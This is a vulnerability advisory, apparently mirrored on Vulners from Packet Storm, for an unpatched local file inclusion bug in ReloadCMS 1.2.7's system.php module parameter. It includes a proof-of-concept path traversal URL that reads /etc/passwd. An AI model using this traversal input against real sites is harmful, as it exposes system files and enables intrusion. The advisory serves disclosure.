Lucene search
K

reloadcms-lfi.txt

🗓️ 23 Oct 2007 00:00:00Reported by Packet StormType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 22 Views

ReloadCMS software has unpatched multiple vulnerabilities including a php include bug in system.php module allowing remote exploit through parameter GET['module']

Code
` New Advisory:  
ReloadCMS  
http://reloadcms.com  
  
——————–Summary—————-  
Software: ReloadCMS  
Sowtware’s Web Site: http://reloadcms.com/main/  
Versions: 1.2.7  
Critical Level: Moderate  
Type: Multiple Vulnerabilities  
Class: Remote  
Status: Unpatched  
PoC/Exploit: Available  
Solution: Not Available  
Discovered by: http://reloadcms.com  
  
Php include bug  
  
—————–Description—————  
vulnerable mosule system.php, parameter GET['module'] is not properly filtered  
  
————–PoC/Exploit———————-  
http://site.url/index.php?module=../../../../etc/passwd  
  
————–Solution———————  
No Patch available.  
  
————–Credit———————–  
Discovered by: http://reloadcms.com  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation